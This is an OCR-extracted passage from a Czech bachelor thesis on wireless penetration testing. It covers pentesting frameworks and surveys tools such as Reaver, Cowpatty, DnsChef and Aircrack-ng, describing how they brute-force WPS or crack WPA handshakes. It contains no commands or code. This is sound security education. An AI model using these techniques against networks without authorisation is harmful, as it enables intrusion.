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Anotace

Nazev: Vyuziti penetrac¢niho testovani v bezdratovych sitich

Bakalatska prace se zabyva problematikou penetracniho testovani a hlavné jeho vyuziti pii
testovani bezdratovych siti. Prvni oddil teoretické Casti se zabyva obecnymi principy
penetracniho testovani, jsou zde vymezeny zakladni pojmy a piedstaveny nckteré ramce
pouzivané pti tomto testovani. V druhém oddilu jsou pfedstaveny nastroje, které je mozné
K testovani zabezpeceni siti vyuzit, a to s dirazem na ty, které budou nasledné vyuzity
v praktické casti prace. V poslednim oddilu teoretické ¢asti je nastinén princip fungovani
bezdratovych siti, dale je zde navrZzeno vyuziti postupi pro jejich penetracni testovani.
V praktické casti je tento navrh pieveden do redlného pouziti za pomoci nastroji
predstavenych v teoretické c¢asti. Bakalafska prace je zakoncena shrnutim vysledki

praktické Casti.

Annotation

Title: Usage of penetration testing in wireless networks

The Bachelor thesis covers the issue of penetration testing, mainly its usage in wireless
networks. The first section of the theoretical part is overview of general penetration testing
methodology, the main concepts and some general frameworks. The second section is an
introduction of tools which are used for penetration tests with the main focus on tools
planned for use in the practical part. The final section of the theoretical part is twofold, it
introduces concepts of wireless networks and suggests framework for practical part. In the
practical part is suggested framework used for execution of penetration test using tools
introduced in theoretical section. In the final part of the Bachelor thesis are presented the
results of the case of study.
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1 Uvod

Jelikoz se v posledni dobé obrovskym zptisobem rozméha trend vyuzivani bezdratovych siti
jak na vefejnych mistech, v béznych domacnostech a mensich podnicich, tak i ve velkych
firemnich sitich, je cilem této bakalaiské prace predstaveni a dikladné prozkoumani zpusobti
a typu jejich zabezpeceni a poukazani na piipadna rizika, ktera pti pouziti tohoto typu siti
realn¢ hrozi nebo mohou vzniknout pii jejich nespravném nastaveni nebo pouzivani. Tato
rizika se pokusim prozkoumat z mnoha rtuznych uhlt pohledu, od pouZitého zabezpeceni,
ptes chyby, které se mohou vyskytnout pfi nespravném nebo neliplném nastaventi sité, az po
vyuziti klientt, ktefi se k dané siti pfipojuji nebo jsou k ni jiz ptipojeni. Tato prace by méla
slouzit hlavné uzivatelim bezdratovych siti, ktefi by si diky ni mohli plné uvédomit, jaké
bezpecnostni problémy jim pii jejich pouzivani hrozi a jak se jim mohou piipadné vyhnout.
Dalsim ucelem této prace je predstavit uzivatelim néstroje a postupy, které mohou vyuzit

k vlastnimu otestovani a piipadnému zlepSeni Grovné bezpe€nosti své sité.

V teoretické Casti prace budou piedstaveny principy penetraéniho testovani s hlavnim
zaméfenim na postupy, které jsou vyuzivany pfii testovani bezdratovych siti. Budou zde
definovany zakladni pojmy a piedstaveny nékteré frameworky vyuzivané v této oblasti. Dale
zde budou popsany dostupné nastroje, které jsou nebo mohou byt k penetra¢nimu testovani
vyuzity. Posledni kapitolou teoretické ¢asti by mél byt navrh vyuziti dfive pfedstavenych
nastroji a postupll pro penetracni test, ktery bude nasledné pfevedeny do realného testu

J T4

v praktické ¢asti prace.

Test zabezpeceni V praktické ¢asti bude proveden proti testovaci siti. K aplikaci navrZenych
postupt bude pouzita specializovana Linuxova distribuce Kali Linux a nastroje, které jsou
Vv ni dostupné. Vystupem praktické casti by mélo byt posouzeni urovné bezpecnosti vSech
momentalné vyuzivanych bezpecnostnich protokoll a postupt, jak pro domaci sité, tak i pro
sit€¢ vyuzivajici zabezpeCeni typu enterprise s RADIUS serverem jako bezpecnostni
autoritou. V zavéru bych poté rad ukazal vyuziti nastroji Nmaps a Nessus pro ziskani
informaci o testované siti a vyhledani existujicich bezpecnostnich chyb na stran¢ klienta
dané sit€. Nasledné bych se rad pokusil nékteré z bezpecnostnich chyb zneuzit, a to za

pomoci specializovaného frameworku Metasploit.



2 Literarni resSerse

Ke zpracovani bakalaiské prace byla pouZzita nejen literatura zabyvajici se vyhradné piistupy
pro penetraéni testovani v bezdratovych sitich, ale i literatura pokryvajici problematiku
bezpecnostniho testovani a ktomu hojné vyuzivaného etického hackingu v SirSich
souvislostech a spojitostech. To mi pomohlo obsdhnout zkoumanou problematiku z vice
abych se vyrazné odchylil od hlavniho zaméfeni prace, a to penetracniho testovani v

bezdratovych sitich.

Teoretickd ¢éast se tedy snazi uchopit problematiku penetracniho testovani a etického
¢asti prace do co nejvétsich souvislosti. Pravdépodobné nejrozsahlejsi knihou pouzitou
v tomto oddilu je Ethical Hacking and Penetration Testing Guide [1] od pakistanského
nejznaméjsich etickych hackeri Rafaye Balocha. Tato publikace se dané problematice
vénuje velmi podrobné a snazi se predstavit doménu penetra¢niho testovani v teoretické
roviné z mnoha uhli pohledu. Konkrétné pro tcely této prace mi kniha pomohla
s vymezenim zakladnich pojmu vyskytujici se v zkoumané oblasti a informace v ni osazené
mi poslouzily k ptedstaveni postupli béZné¢ doporuCovanych a pouzZivanych k zajisténi
bezpecnosti IT systémli metodami penetracnich testl. Dalsi knihou pouzitou pro teoreticky
zaklad prace je kniha nesouci nazev Kali Linux: Assuring security by penetration testing [2]
od tria autori Leeho Allena, Tediho Heyrianta a Shakeela Aliho. VSichni tfi autofi jsou
vysoce kvalifikovanymi odborniky v oboru pocitacové bezpe€nosti s hlavnim zaméfenim na
zabezpeceni pocitacovych siti. Informace nacerpané z této knihy byly nésledné pouzity
prevazné k predstaveni a definovani rdimcovych postupi, které je mozné vyuzit pii obecném
penetratnim testovani v pocitacovych sitich nebo 1 ostatnich informaénich systémech
vyskytujicich se ve firemnim prostiedi. V druhé fad¢€ jsem z ni byl schopen nacerpat mnoho
uzitecnych fakti a informaci ohledné specializované Linuxové distribuce Kali a hlavné o
jejim vyuziti pii provadéni penetracnich testt.

Pro informace zaméfujici se specificky na bezdratové sité a bezpeCnostni testy v nich
provadéné jsem sahl po publikaci Kali Linux Wireless Penetration Testing Essentials:

Community Experience Distilled [3] od italského autora Marka Alamanniho. Tento autor je

vysoce uznavanym a zkuSenym administratorem Linuxovych systéml a odbornikem na



zajiStovani bezpecnosti v oblasti IT systémt. Konkrétni uziti znalosti ¢erpanych z této knihy
je mozné vidét v kapitolach vénovanych jak teoretickému, tak nasledné i praktickému
testovani provadénému v bezdratovych sitich. Dale byla tato publikace hlavnim zdrojem pro
Cerpani informaci o nastrojich dostupnych v distribuci Kali Linux a pouzitelnych pro
testovani v oblasti bezdratovych siti. Velmi zajimavym a uzite¢nym zdrojem informaci ze
zkoumané oblasti pro mé byla kniha Kali Linux Wireless Penetration Testing: Beginner\’s
Guide [3] od dua autorti Vivek Ramachandran a Cameron Buchanan. Tato publikace byla
pro praci velmi piinosnym zdrojem informaci o bezpecnostnich rizicich vyskytujicich se pfti
pouzivani v bezdratovych sitich a o0 moznostech jejich vyuziti k proniknuti do téchto siti,
tyto znalosti byly nasledné vyuzity ptrevazné pti tvorb¢ teoretického navrhu penetracniho
testu. Praktické ukazky z této knihy byly dile zdrojem inspirace pro testy provedené
v praktickém oddilu této bakaldiské prace. Zakladni teoretické znalosti a napady pro
praktikovani pokrocilejSich testovacich technik pfi praci v prostiedi bezdratovych siti a
vyuziti vysoce specializovanych nastrojii dostupnych pro toto testovani byly prevzaty hlavné
z knihy Mastering Wireless Penetration Testing for Highly Secured Environments[25] od
amerického autora Aarona Johnse, ktery je expertem na poli zajisténi bezpec¢nosti pro klienty

pievazné z business sféry.

Jako dalsi zdroj informaci z daného odvétvi dale ptipadala v tivahu publikace The Basics of
Hacking and Penetration Testing, Second Edition: Ethical Hacking and Penetration Testing
Made Easy od Patricka Engebretsona, ktera se opét vénuje penetratnimu testovani
Z obecngjsiho a SirSiho hlediska, avSak z diivodu redundantnosti poskytovanych informaci
nebo neaktudlnosti nékterych ¢asti tato publikace nebyla nakonec pro tvorbu prace vyuZita.
stranky autorti daného nastroje, ptipadné oficidlni dokumentace linuxové distribuce Kali.
Z diivodu zachovéni aktudlnosti prace byly informace z vySe uvedenych publikaci

ovefovany V internetovych zdrojich.

V praktické 1 teoretické Casti prace je podrobné piedstaven soubor nastrojii Metasploit
Framework, pro zisk a uceleni informaci o tomto frameworku byla z velké ¢asti pouzita
publikace Metasploit:Penetration Tester’s Guide [26], za kterou stoji ¢tvefice autorti David
Kennedy, Jim O'Gorman, Devon Kearns, and Mati Aharoni. Tato publikace podrobné
predstavuje moznosti vyuziti Metasploit frameworku jak pfi testovani klasickych LAN siti,
tak 1 pfi testech siti bezdratovych a mnoho dalSich vyuziti v€etné testi webovych servert a

aplikaci. Dulezitym pfinosem této prace byly ukdzky vyuziti néastroji tietich stran pro

3



rozsifeni zakladni funkénosti daného frameworku. Posledni knihou, kterou bych rad zminil,
je publikace s nazvem Learning Nessus For Penetration Testing[27] sepsana Himanshu
Kumarem, kterda mi velmi ulehCila praci s velmi rozsahlym nastrojem Nessus Security
Scanner, a to hlavné¢ diky jejimu Sirokému rozsahu, ktery je ale podavan ve velmi

srozumitelné formé.



3 Principy penetraéniho testovani

Cilem této kapitoly je definovat zakladni pojmy pouzivané pii penetracnim testovani, a to
jak v cilové oblasti bezdratovych, tak i v oblasti klasickych ethernetovych siti. V druhé ¢asti
budou predstaveny metody, které¢ jsou k penetratnimu testovani vyuzivany, a zakladni

frameworky do kterych jsou tyto metody uskupovany.

3.1 Vymezeni zakladnich pojmu
Eticky hacking

Jedna se 0 soubor postupti, metod a principti hloubkového testovani informacénich systémi
za pomoci simulaci utokl na systém, pfi kterych jsou pouzivany metody, které by mohly byt
vyuzity potencidlnim uto¢nikem. Toto testovani provadi bezpe¢nostni expert (viz. Eticky
hacker) pti plném védomi nebo na zadost vlastnika systému, je pfedem znamy Cas i rozsah
utoku na systém. Toto testovani ma za ucel odhalit zdvazna i potencidlni bezpecnostni rizika
systému. Ve vétSin¢ piipadi hacker piedd vlastnikovi informacéniho systému zpravu 0

prubéhu testovani i s navrhem feseni problému a zmén v systému. Baloch Rafay [1, s. 2].
Eticky hacker

Rafay Baloch ve své knize Ethical hacking and penetration testing guide [1, s. 2] definuje
etického hackera jako ¢lovéka, ktery ma povoleni nebo je povéten organizaci k provedeni
utoku na systém za ucelem objeveni bezpecnostnich chyb, které by mohly byt vyuzity

potencidlnim Uto¢nikem k ohroZeni daného systému.
Penetraéni testovani

Dle Allena Leeho [2, s. 51] se jedna o soubor postupti, pomoci nichz je provadéna hloubkova
bezpecnostni diagnostika informacniho systému bez toho, aby vlastnik védél, kdy a v jakém
rozsahu testovani prob&hne. V tomto souboru jsou definovana pravidla, postupy a ptiklady,
které jsou v praxi provéfeny a mohou byt provadény béhem jakéhokoliv bezpecnostniho
testovani, tak aby bylo dosaZzeno maximalniho mozného zabezpeceni sité, systému nebo
aplikace. Penetra¢ni testovani muze byt provadéno bud’ jednordzové, nebo jako soucdst
bezpecnostni politiky spolecnosti. Penetracni testovani je nejagresivnéj$i moznost testovani
systému, musi byt provadéno bezpecnostnim expertem se zkuSenostmi a schopnostmi
adaptovat se na jakykoliv systém. Vystupem tohoto testovani byva obvykle vicestupiiovy

report, kde jsou zaznamenana vSechna bezpec¢nostni rizika daného prostedi a navrh feseni



jednotlivych problémi nebo zmén v siti. Baloch ve své knize Ethical hacking and
penetration testing guide [1, s. 2] oznacuje penetraéni testovani jako podmnozinu nebo jednu

Z podob etického hackingu.

3.2 Typy testovani informacnich systému

Allan Lee [2, s. 52] tika, Ze penetracni testovani se nejcastéji déli na dva typy uvedené

nize.
Black box testing

Ve své knize Kali Linux: Assuring security by penetration testing [2, s. 52] jej Lee definuje
jako testovani systému, kdy bezpecnostni expert (potencialni uto¢nik) nezna pfedem vnitini
strukturu systému a technologie pouzivané ve vnitinich ¢astech systému. Je provadéno za
pomoci technik pouzivanych redlnymi uto¢niky a pomoci dikladného a organizovaného
testovani. Pfi dodrzeni téchto postupi mohou byt nalezeny chyby a potencialné nebezpecné
¢asti systému. Je nutné, aby bezpecnostni expert vyhodnotil moZznou nebezpecnost kazdé
chyby. Poté jsou tyto chyby zaznamenany a vystup je pfedan vedeni spolecnosti. Tento

zpusob testovani mize byt mnohdy velmi nakladny.
White box testing

Tento typ je ve stejné knize, tedy Kali Linux: Assuring security by penetration testing [2, s.
53] popisovan jako princip penetra¢niho testovani, pii kterém expert (Uto¢nik) kompletné
Zna vnitini 1 vnéjsi struktury testovaného systému. Diky tomu je toto testovani velmi piesné
a zkuSenému expertovi umoziuje pii co nejmensim Usili nalézt t¢émét vSechny bezpecnostni
trhliny v systému. Tento zptisob testovani je pro vétSinu zakaznikd mnohem efektivnéjsi,
protoze umozinuje opravit chyby systému od zakladt a tim zamezit vétSiné venkovnich
utokd. Vystup tohoto testovani je prakticky stejny jako u Black box testovani, ale je
jednodussi na provedeni, a proto je ho mozné provadét v rdmci celkovych bezpecnostnich
testti systému. Dle Rafaye Balocha [1, s. 7] jsou nejcastéji podavané informace tyto: typy a

verze aplikaci, operacni systémy, u webovych aplikaci jsou dodany i zdrojové kody.

Rafay Baloch [1, s. 7] dodava, Zze je mozno uvazovat i O tfetim pfistupu, a to piistupu

uvedeném nize.



Grey box testing

Ten Baloch [1, s. 7] popisuje jako testovani, pti kterém jsou hackerovi poskytnuty pouze
nékteré informace. Dle autora [1, s. 7] jsou poskytovany nejcastéji jména aplikaci bézicich
za danou IP adresou. Nejsou vsak specifikovany verze aplikaci. U webovych aplikaci jsou

poskytnuty i nékteré dalsi informace, jako jsou testovaci Géty, typ databaze, serveru, atd.

3.3 Ramce pro penetracni testovani

Aby bylo mozné testovat rozsahlé a vétSinou velmi slozité systémy, je podle Leeho [2, s. 54]
tieba pouzit n¢kterého z ustalenych postupti penetra¢niho testovani. Autor[2, S. 55] uvadi

O

jako nejbéznéjsi postupy ty nize uvedené.
Open Source Security Testing Methodology Manual (OSSTMM)

Jedna se o mezinarodné uznavany piistup, ktery byl sepsan Petem Herzogem a je vyvijen
skupinou ISECOM. A jak sam autor [2, s. 56] uvadi, v dne$ni dobé& je pouzivan mnoha
spole¢nostmi pro jejich regulérni bezpe¢nostni testy. Jak se uvadi na oficialnim webu
projektu[12], po technické strance je postup rozdélen na Ctyii klicové ¢asti — scope, channel,
index a vector. Tyto ¢asti jsou popisovany v knize Kali Linux: Assuring security by
penetration testing [2, s. 56] nasledovné. Scope je proces sbirani informaci o vSech prvcich,
které operuji v testovaném prostiedi. Channel urcuje typ komunikace a interakce mezi
danymi prvky. Na kazdém z téchto channelt se nachazeji jedine¢né bezpecnostni prvky a
principy, které je nutné testovat a ovéfovat v prubéhu testovani. Kazdy z téchto prvki
zahrnuje jak fyzické zatizeni a média, tak 1 psychologické pochody jejich uZivatelt. Index
je ohodnoceni typu pfistupu a autentizace uzivatell u daného prvku (zda se ovétfuje na
zékladé MAC adresy, IP adresy, ovéteni proti AP...). Vector zkouma sméry, ze kterych
mize uzivatel pfistupovat k danému prvku. Tato metoda se da velmi lehce piizpisobit pro
konkrétni potieby dané spolecnosti. Dle pana Leeho [2, s. 56-57] je v soucasné dobé

uznavano Sest zékladnich podob bezpecnostniho testovani, které autor popisuje nasledovné:

o Blind testing - neni tfeba znalost cilového systému, cil je pfedem informovan o ¢asu
a velikosti testu. Pfikladem je eticky hacking nebo war games. Toto testovani je také
velmi dobfe piijimano z etického pohledu, jelikoz cil vzdy predem vi, kdy a k jakému
testovani dojde.

o Double Blind testing - u tohoto testovani neni tieba znalost cilového systému, na

druhou stranu cil neni informovan o tom, kdy a jak utok prob¢hne. Ptiklady tohoto



testovani jsou Black box auditing a Penetration testing. VéEtSina dnesnich testi je
provadéna pomoci téchto metod, jelikoz se nejvice podobaji redlnému nebezpeci.

o Gray box - zde jsou pfedem znamy nékteré informace o cilovém systému a cil je
predem informovan a Case a velikosti testu. Pfikladem je Vulnerability assesment.

o Double gray box - je podobny gray box testu, ale nejsou pii ném testovany channels
a indexes. Ptikladem je White box audit.

o Tandem - je pfedem znamo pouze minimum informaci o daném systému a majitel

je pfedem informovan o prub¢hu testu. Prikladem je Crystal box a In-house audit.

(@]

Reversal - u tohoto testovani jsou znamy vSechny podrobnosti o systému a majitel

systému nebude nikdy informovan o tom, Ze test prob¢hl.
Information Systems Security Assessment Framework (ISSAF)

Jedna se o open source framework pro bezpecnostni testovani a analyzu. Dle Leeho [2, s. 58-
59] je zakladem rozdéleni testovani do nékolika logickych domén. Spojovanim vysledkt
testll jednotlivych domén se dojde k celkovému vysledku testu systému. Takto se docili
logicky usporadaného a velmi diikladného pribéhu testovani. Dle webu CiscoPress [17] se
déli na dvé ¢asti, na penetracni testovani a na personalni zabezpeceni. Lee [2, s. 58] popisuje
tyto ¢asti nasledovng. Penetracni testovani se tykad testovani sitovych zafizeni, médii,
softwaru, protokolll a ostatnich technickych €asti systému. Na druhou stranu persondlni
testovani se zaméfuje na dodrZzovani bezpecnostnich postupt a pravidel uzivateli a spravci
systému. Podle stejného autora, tedy Allana Leeho [2, s. 59] se v dnesni dobé tyto metody
pouzivaji spiSe k zavedeni a kontrole bezpecnostnich pravidel a postupt ve firmach, nez
K pfimému testovani bezpecnosti systému, coz je zpuisobeno mnohem vétsi slozitosti

implementace testu nez u predchozi metody.
Open Web Application Security Project (OWASP)

Dle stranek CiscoPress[17] vznikla tato metodologie z divodu obrovského mnozstvi velmi
Spatnych zvyklosti pii psani webovych aplikaci, které vedou k dlouhodobym a velmi
zavaznym bezpecnostnim riziktim pro uzivatele téchto aplikaci. Lee ve své knize Kali Linux:
Assuring security by penetration testing [2, s. 60] uvadi, Ze se jedna o prezentaci deseti
nejlepSich projekt open source komunity v oblasti bezpecnostniho testovani, pomoci nichz
se snazi komunita upozornit na hrozici bezpecnostni rizika. Tyto projekty se méni kazdy rok
a tim reaguji na nejnové¢jsi bezpecnostni rizika. V ramci OWASP je také mozno najit

podrobnou ptirucku, ktera je podle autoru[15] pouzitelna Kk otestovani vlastniho projektu.



Allan Lee v knize Kali Linux: Assuring security by penetration testing [2, s. 60] dale uvadi,
ze OWASP se snazi tadit bezpecnostni rizika podle jejich rizikovosti v zavislosti na
technologickém a obchodnim riziku. U kazdé hrozby je také ptiloZen navod, jak tuto hrozbu

otestovat, piipadné jaké bezpecnostni postupy implementovat a tim se proti ni brénit.
Web Application Security Consortium Threat Classification (WASC-TC)

Jedna se o podobny projekt jako je OWASP, ale zaméteny na webové aplikace. Jak tikaji
sami autofi [18], jedna se o neziskovou organizaci, sdruzujici experty v oblasti internetové
bezpecnosti ktera se nesnazi ukazat aktualni hrozby, ale spiSe se snazi vysvétlit jejich
technické a mySlenkové principy a tim odborniky nuti naudit se premyslet nad zpisoby, jak
muze nebezpeci vzniknout a jak mu piedchazet. Projekt je zaméfen zejména na tii oblasti,
pfi jejich spravném pochopeni by mélo dojit k vyraznému zlepSeni webové bezpecnosti

webové aplikace. Lee se ve své knize [2, S. 61] snazi tyto postupy fadit do tii kategorii:

o Enumeration view — zde je ukazano n¢kolik zakladnich Gtokti na webové aplikace
vcetné jejich implementace na rtiznych platformach a jejich nedokonalosti.

o Development view — zde je ukazano, jaké nejcastéjsi bezpecnostni chyby se objevuji
a v jaké ¢asti vyvoje softwaru je tieba davat si na né pozor.

o Taxonomy cross-reference view — zde je ukazano nékolik bezpecnostnich
standardil, které se nejCastéji pouzivaji u webovych aplikaci, a také moznosti jak

jeden standard rozsifit, aby pokryval vice oblasti.
Penetration Testing Execution Standard

Jak pisi autofi na oficialnim webu standardu [10], jedna se o standardizovany postup pii
provadéni penetracniho testovani. Byl vytvoren pii spolupraci S nejvétsimi profesionaly
v tomto oboru. Dale je na tomto webu [10] uvedeno, ze se tento standard bude skladat se ze
sedmi fazi, které pokryji penetracni test od ptipravy az po vytvoteni findlniho reportu. Pfi
jejich dodrZeni by mélo byt zaruceno efektivni a ptesné penetracni testovani. Tyto faze jsou

na jejich webu [10] uvedeny nasledovné:

o Pre-engagement interactions — ptiprava pied samotnym testovanim, stanoveni
predbéznych cili, pfedpokladané doby testovani a o¢ekavanych vysledk.
o Intelligence gathering — faze, ve které dochazi ke sbéru informaci o cilovém

systému, které budou pozd¢ji pouzity jako zdroj k uskute¢néni pozdéjsiho utoku.



Tyto informace mohou byt ziskdny pomoci automatizovanych programi, pomoci
social engineeringu nebo ve spolupraci s experty v dané oblasti.

o Threat modeling — pokus o vymodelovani atoku. Jsou analyzovany pfedem znamé
vlastnosti systému a moZznosti utocnika a dle toho je vybran jeden ze
standardizovanych modeli penetracniho testovani.

o Vulnerability analysis - v této fazi se analyzuji veskeré informace, které jsou
k dispozici, a je zde snaha o definovani potencialnich slabin systému, které by se
daly vyuzit k samotné penetraci. Je zde také planovan samotny utok, je vytvoiena

o Exploitation — pokud byla pfedchozi faze dobte provedena, dochazi k samotnému
proniknuti do systému za pomoci vyuziti nékteré z chyb objevenych v ptedchozi
fazi. Toto proniknuti se vétSinou provadi za pomoci skodlivého kédu (viru), proces
injection, falSovani adres atd.

o Post-exploitation — snaha o vytvofeni trvalého a znovupouzitelného pristupu do
systému, ke kterému neni potieba provadet novou penetraci.

o Reporting — vytvofeni zpravy z prubéhu testu, kde budou zaznamenany veskeré
provedené ukony, a odevzdani zpravy vedeni firmy. Tato zpradva bude pozdéji

pouzita k opraveni a lepSimu zabezpeceni systému.
General penetration testing Framework

Jak pise Lee ve své knize Kali Linux: Assuring security by penetration testing [2, s. 64], tato
metoda vznikla jako reakce na velké mnoZstvi postupti a principil pii provadéni penetraniho
testovani S pouzitim specializovaného systému Kali Linux. SnaZi se tyto postupy
standardizovat a tim ptedejit chybnému nebo neuplnému pribéhu testovani a v disledku
toho zlepsit a zptesnit i jeho vysledky. Proto byl vydan soubor obecnych postupti, pii jejichz
dodrZeni by mélo jakékoliv penetracni testovani vratit uplné a pravdivé vysledky. Tyto

postupy jsou ve stejné knize [2, s. 66-68] popisovany nasledovné:

o Target scoping — ptedpiiprava samotného testovani. Je nutno urcit si typ cilového
systému, zpusoby testovani, Cas testovani, rozsah testovani, predpokladany vysledek.
o Information gathering — v této fazi se tester snazi najit si co nejvice informaci o
cilovém systému, vyuziva k tomu vefejné dostupné zdroje, jako jsou diskuzni fora,
socialni sité, webové stranky nebo blogy. Dalsimi zdroji dat jsou vyhledavaci sluzby

jako je Google, Yahoo! nebo Bing. Pomoci specializovaného softwaru se da z téchto

10



vyhledavacich sluzeb vytahnout mnoho informaci o cilovém systému. Cim vice
informaci se podati ziskat béhem této faze, tim vEtsi je Sance na uspéch celého utoku.
Target discovery — v této fazi prichazi snaha o zji$téni co nejvice informaci o vnitini
struktufe cilového systému. Zjistuje se naptiklad, jaké prvky se v siti nachazeji,
mnozstvi prvki, jaké technologie jsou pouzity, jaky software je nainstalovany, jaké
protokoly jsou zapnuty.

Enumerating target — v této fazi je snaha o nalezeni otevienych porti v cilovém
systému. Pomoci téchto portil je mozné spustit sluzby, které ndm podaji podrobnéjsi
informace o struktuie systému i ptesto, ze se systém nachazi za branou firewall nebo
bez zdznamu v bezpec¢nostnich prvcich systému.

Vulnerability mapping - vtéto fazi je snaha o zmapovani potencionalnich
bezpec¢nostnich problémi z informaci, které jsme zjistili v pfedchozich fazich, a
pomoci nékterého z téchto problému ziskat pristup do sit€. Toto mapovani je ve
veétsSing pripadl provadéno kombinaci manualniho prohleddvani s automatizovanym
softwarem.

Social engineering - pokud nebylo mozné nalézt bezpe¢nostni chybu v technické
casti systému, dal§i moznosti je vyuziti lidskych chyb. Naptiklad pomoci
phishingovych e-mailti, faleSnych telefonatl nebo dalSich postupti, které mohou
vyuzit lidskou chybu.

Target exploitation - v této fazi dochazi k samotnému vyuziti chyb, které jsme
predem nalezli. Zde také dochazi k proniknuti do systému.

Privilege escalation - pokud je proniknuti do systému uspésné, je pravdépodobné,
zZe se podafilo pouze v roli fadového uZivatele. V této fazi je snaha o nalezeni chyb
uvniti systému, pomoci nichz by bylo moznost zvysit uroven uzivatelskych prav a
tim pfevzit uplnou kontrolu nad systémem.

Maintaining access - Vv této fazi se uto¢nik snazi vytvofit moznost trvalého a
opakovatelného pfistupu do systému bez nutnosti provedeni nového penetraéniho
testovani.

Documentation and reporting - Po dokonceni testovani je tieba vytvofit a
zpracovat dokumentaci o provedeni penetracniho testovani, zde by mély byt zapsany
vSechny postupy, které byly provedeny, a vysledky, kterych bylo docileno. Tato
dokumentace je nasledné odevzdana majiteli systému a méla by byt pouzita pro

lokaci a odstranéni bezpecnostnich rizik.

11



4 Analyza dostupnych nastroju

Jak jiz nazev kapitoly napovida, cilem této kapitoly je predstavit nastroje, které jsou nebo
mohou byt vyuzivany k penetracnimu testovani bezdratovych siti. Hlavni dtraz je kladen

na nastroje, které budou pozdéji vyuzity v praktické ¢asti této prace.

4.1 Sledovani a odposlech sitového provozu

Wireshark

Dle stranek vyrobce [10] se jedna o sv€tového leadera v oblasti analyzy sitovych protokoli.
Na téchto strankach se doslova fikda, ze Wireshark ndm dovoluje pozorovat nasi sit’ pod
mikroskopem. Tento software se stal definujicim standardem v mnoha primyslovych

odvétvich 1 ve Skolskych institucich. Jako hlavni vyhody jsou uvedeny:

e Moznost zkoumat stovky riznych sitovych protokoll s postupnou aktualizaci pro
nove se objevujici protokoly a standardy.

e MozZnost zachytdvani a analyza realného provozu nebo zkoumani sitového provozu
zaznamenaného v souboru.

e Multiplattformost: existuje verze pro Windows, Linux, OS X, Solaris, FreeBSD a
mnoho dalSich.

e Nejlepsi moznost tfidéni sitového provozu na zdklad¢ filtru, ktera je na trhu
dostupna.

e Podpora pro deSifrovani packetli mnoha protokold véetné IPsec, Kerberos, WEP,

WPA/WPA2.
Tshark

Jedna se 0 verzi softwaru Warshark, ktera je uzptisobena pro pouziti vyhradné v piikazové

fadce operacniho systému Linux.
Kismet

Podle Alammaniho [3, s.35] se jedna o velmi silny nastroj Vv oblasti pasivniho skenovani
provozu bezdratovych siti. Kismet ma ale i vyuziti jako program pro analyzu ramct nebo
jako nastroj pro odhaleni priiniku do sité. Nastroj se sklada ze dvou hlavnich kompenent —
kismet_server a kismet_client. Kismet_server se stara o zachytavani, dekodovani a ukladani
rdmcl, na druhou stranu kismet client se stard o ptredkladani zachycenych informaci

uzivateli.
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Wifi Honey

Jak uvadéji autofi na svych strankach [5], jedna se o nastroj, ktery ulehcuje zjisténi typu
zabezpecenti siteé, pro niz vysila klient probe request. Wifi Honey tento proces ulehcuje tim,
Ze nastavi pét virtudlnich interface do monitorovaciho modu, na nichz spusti virtualni Access
Point pro kazdy typ zabezpeceni bezdratové sité (tzn. zadné zabezpeceni, WEP zabezpeceni,
WPA a WPA?2). Navic tento nastroj automaticky otevie i okno s nastrojem airodump, coz
nam umozni odchytit prvni dva packety z four-way handshake pro piipadny pokus o

slovnikovy itok na danou sit’. Toto vSe v prehledném uzivatelském rozhrani.
Nmap

Jedna se o opensource nastroj, ktery je predinstalovany v zakladni verzi opera¢niho systému
Kali Linux. Tento nastroje slouzi ke kompletnimu prozkoumani sit€ a je pouZzivany
K zajisténi jejiho bezpe€nostniho auditu. Obrovskou vyhodou nastroje Nmap je jeho
vSestrannost, nastroj dokdze ziskat informace o otevienych portech na mnoha protokolech a
také zobrazit sluzby, které na téchto portech naslouchaji. V neposledni fad¢ je tento nastroj
schopny interpretovat informace o operacnich systémech na klientskych pocitacich nebo

pomoci svych skriptl vyspat uZivatelské u€ty uzivané na sledovaném PC.

4.2 Nastroje pro zneuziti slabin sité

Cowpatty

Podle popisu autort aplikace [7] se jedna o program, ktery slouzi k provedeni slovnikového
utoku proti WPA/WPA2-PSK sitim. Hlavni vyhodou tohoto programu je implementace
zrychleného ttoku, pokud je k dispozici ptedpiipraveny PMK soubor pro dané BSSID.

Reaver

Jak se uvadi v dokumentaci ke Kali Linux distribuci [16], jedna se o impelementaci brute-
force utoku na zaftizeni podporujici standard WPS. Reaver byl navrhnuty tak, aby fungoval
obecné proti vEtSing typll zatizeni s WPS, a byl také GspéSné€ otestovan proti vétSing téchto
routert. V bézném piipadé je Reaver schopen vratit WPA-WPAZ2 heslo v prabéhu étyti az

deset hodin.
Bully

Podle dokumentace ke Kali Linux distribuci [6] se jedna o novou implementaci algoritmu

pro prolomeni WPS zabezpeceni za pomoci zneuziti dobfe znamé bezpe¢nostni chyby. Od

13



diive zminéného Reaveru se 1i§i hlavné snizenou naroc¢nosti na pamét’ a procesor, mensim

poctem zavislosti a lepsim feSenim chybovych stavii.
DnsChef

Jak je uvedeno v dokumentaci ke Kali Linux [8], jedna se 0 vysoce konfigurovatelny DNS
proxy server (jinak feceno faleSny DNS server), ktery umoziuje zasilat upravené DNS
requesty a tim padem naptiklad pifesmérovat vSechen sitovy provoz na jednu doménu.
Jelikoz byl tento program primarn¢ vyvinut pro penetracni testovani, nabizi mnohem vice
moznosti nastaveni nez ostatni nastroje V této oblasti. Funkcemi programu jsou napiiklad
podpora mnoha typi DNS zaznami, spojovani domén s jejich wildcards, konfigurace

pomoci externiho souboru, plna podpora pro IPv6 a mnoho dalsiho.

4.3 Sady programu pro kompletni penetracni test

Aircrack-ng suite

Jak se piSe v dokumentaci [13], Aircrack-ng suite je kompletni sada nastroju k testovani
bezdratovych siti. Vyvoj nastroji zacal v unoru 2006 a v dnesni dob¢ se jednd o uznavany
standard v této oblasti. VSechny nastroje jsou uzptsobeny praci v ptikazovém tadku, proto
je zde moznost vysoké kustomizace. Pokud by z n&jakého duvodu nevyhovovalo rozhrani
ptikazové tadky, je mozné zvolit nékterou z GUI implementaci. Nastroje jsou primarné
urCeny pro systémy typu Linux, ale je mozné je provozovat i na dalSich operacnich
systémech jako je Windows, OSX nebo FreeBSD. Nékteré z nastroji tohoto baliku jsou

ptredstaveny v nasledujicich kapitolach.
Airmon-ng

Skript slouzici k zapnuti nebo vypnuti monitorovaciho modu na wi-fi interface sitové karty
a pripadné k feSeni problémi s procesy, které ho blokuji. Déle si pomoci ného mizeme

zobrazit informace o daném rozhrani nebo si dané rozhrani nastavit pouze pro urcity kanal.
Airodump-ng

